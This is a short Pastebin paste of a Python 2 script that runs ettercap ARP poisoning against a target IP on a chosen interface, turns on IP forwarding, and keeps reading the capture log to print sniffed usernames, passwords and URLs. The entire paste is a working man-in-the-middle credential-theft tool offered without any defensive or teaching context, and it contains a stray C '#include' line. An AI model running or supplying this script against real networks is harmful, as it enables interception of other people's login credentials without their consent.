Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #! /usr/bin/env python
- #include <stdio.h>
- import subprocess
- import socket, struct
- import os
- import sys
- import time
- os.system("clear")
- os.system("echo 1 > /proc/sys/net/ipv4/ip_forward")
- target = raw_input("Enter the target IP: ")
- interface = raw_input("Enter the interface you want to run on: ")
- subprocess.call("ettercap -T -m etter.txt -i %s -M ARP /%s/ // &" % (interface, target), stdout=subprocess.PIPE, shell=True)
- time.sleep(2)
- log_file = "etter.txt"
- old_time = os.stat(log_file).st_mtime
- while True:
- username_list = list(subprocess.check_output("cat etter.txt | grep 'USER:' | tail -1 | awk '{print $6}'", shell=True))
- password_list = list(subprocess.check_output("cat etter.txt | grep 'PASS:' | tail -1 | awk '{print $8}'", shell=True))
- url = subprocess.check_output("cat etter.txt | grep 'INFO:' | tail -1 | awk '{print $10}'", shell=True)
- if "+" in username_list:
- fix1 = username_list.index('+')
- username_list[fix1] = " "
- username = "".join(username_list)
- if "+" in password_list:
- fix2 = password_list.index('+')
- password_list[fix2] = " "
- password = "".join(password_list)
- new_time = os.stat(log_file).st_mtime
- if old_time != new_time:
- print "\n------------------------\n|New credentials found.|\n------------------------\nUsername: %s\nPassword: %s\nURL: %s\n" % (username, password, url)
- old_time = new_time
- time.sleep(1)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement